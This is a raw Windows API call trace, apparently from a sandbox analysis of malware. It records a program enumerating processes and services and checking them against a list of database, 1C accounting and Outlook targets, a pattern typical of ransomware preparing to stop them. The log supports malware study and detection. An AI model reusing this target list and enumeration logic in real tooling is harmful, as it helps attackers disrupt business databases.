(lpString1="outlook.exe", lpString2="System") returned -1 [0193.230] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0193.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0193.230] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0193.230] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0193.231] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0193.232] lstrlenW (lpString="smss.exe") returned 8 [0193.232] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0193.232] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0193.232] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0193.232] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0193.232] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0193.232] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0193.232] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0193.232] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.233] lstrlenW (lpString="csrss.exe") returned 9 [0193.233] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0193.233] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0193.233] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0193.234] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0193.234] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0193.234] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0193.234] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0193.234] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0193.235] lstrlenW (lpString="wininit.exe") returned 11 [0193.235] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0193.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0193.235] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0193.235] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0193.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0193.236] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0193.236] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0193.236] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.237] lstrlenW (lpString="csrss.exe") returned 9 [0193.237] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0193.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0193.237] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0193.237] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0193.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0193.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0193.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0193.238] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0193.239] lstrlenW (lpString="winlogon.exe") returned 12 [0193.239] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0193.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0193.239] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0193.239] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0193.239] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0193.239] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0193.240] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0193.240] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0193.483] lstrlenW (lpString="services.exe") returned 12 [0193.483] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0193.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0193.483] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0193.483] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0193.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0193.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0193.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0193.484] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0193.485] lstrlenW (lpString="lsass.exe") returned 9 [0193.485] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0193.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0193.485] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0193.485] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0193.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0193.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0193.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0193.485] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0193.486] lstrlenW (lpString="lsm.exe") returned 7 [0193.486] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0193.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0193.487] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0193.487] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0193.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0193.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0193.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0193.487] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.488] lstrlenW (lpString="svchost.exe") returned 11 [0193.488] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0193.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0193.488] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0193.488] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0193.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0193.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0193.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0193.489] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.490] lstrlenW (lpString="svchost.exe") returned 11 [0193.490] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0193.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0193.490] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0193.490] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0193.490] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0193.490] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0193.490] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0193.491] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.492] lstrlenW (lpString="svchost.exe") returned 11 [0193.492] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0193.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0193.492] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0193.492] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0193.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0193.492] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0193.492] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0193.492] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.493] lstrlenW (lpString="svchost.exe") returned 11 [0193.493] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0193.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0193.494] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0193.494] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0193.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0193.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0193.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0193.494] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.495] lstrlenW (lpString="svchost.exe") returned 11 [0193.495] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0193.495] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0193.495] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0193.495] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0193.495] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0193.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0193.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0193.496] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0193.497] lstrlenW (lpString="audiodg.exe") returned 11 [0193.497] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0193.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0193.497] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0193.497] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0193.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0193.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0193.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0193.497] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.499] lstrlenW (lpString="svchost.exe") returned 11 [0193.499] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0193.499] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0193.499] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0193.499] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0193.499] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0193.499] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0193.499] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0193.499] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0193.500] lstrlenW (lpString="userinit.exe") returned 12 [0193.500] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0193.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0193.501] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0193.501] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0193.501] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0193.501] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0193.501] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0193.501] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0193.502] lstrlenW (lpString="explorer.exe") returned 12 [0193.502] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0193.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0193.502] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0193.502] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0193.502] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0193.503] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0193.504] lstrlenW (lpString="dwm.exe") returned 7 [0193.504] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.506] lstrlenW (lpString="svchost.exe") returned 11 [0193.506] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0193.507] lstrlenW (lpString="driver.exe") returned 10 [0193.507] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0193.508] lstrlenW (lpString="spoolsv.exe") returned 11 [0193.508] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0193.509] lstrlenW (lpString="taskhost.exe") returned 12 [0193.509] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.510] lstrlenW (lpString="svchost.exe") returned 11 [0193.511] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0193.511] lstrlenW (lpString="dllhost.exe") returned 11 [0193.511] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0193.512] lstrlenW (lpString="cmd.exe") returned 7 [0193.512] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0193.513] lstrlenW (lpString="reader_sl.exe") returned 13 [0193.513] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0193.515] lstrlenW (lpString="AdobeARM.exe") returned 12 [0193.515] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0193.516] lstrlenW (lpString="conhost.exe") returned 11 [0193.516] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0193.518] CloseHandle (hObject=0x180) returned 1 [0193.518] Sleep (dwMilliseconds=0x1f4) [0194.916] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8d3580 [0195.083] EnumServicesStatusExW (in: hSCManager=0x8d3580, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0195.084] GetLastError () returned 0xea [0195.084] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x3b014e8 [0195.084] EnumServicesStatusExW (in: hSCManager=0x8d3580, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3b014e8, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3b014e8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0195.085] CloseServiceHandle (hSCObject=0x8d3580) returned 1 [0195.085] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.086] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.086] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.086] lstrlenW (lpString="AudioSrv") returned 8 [0195.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0195.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0195.086] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0195.086] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0195.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0195.086] lstrlenW (lpString="BFE") returned 3 [0195.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.087] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.087] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.087] lstrlenW (lpString="CscService") returned 10 [0195.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0195.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0195.087] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0195.087] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0195.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0195.088] lstrlenW (lpString="DcomLaunch") returned 10 [0195.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.088] lstrlenW (lpString="Dhcp") returned 4 [0195.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.089] lstrlenW (lpString="Dnscache") returned 8 [0195.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.089] lstrlenW (lpString="eventlog") returned 8 [0195.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0195.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0195.089] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0195.089] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0195.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0195.089] lstrlenW (lpString="EventSystem") returned 11 [0195.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.090] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.090] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.090] lstrlenW (lpString="gpsvc") returned 5 [0195.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.090] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.090] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.090] lstrlenW (lpString="lmhosts") returned 7 [0195.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0195.091] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.091] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") 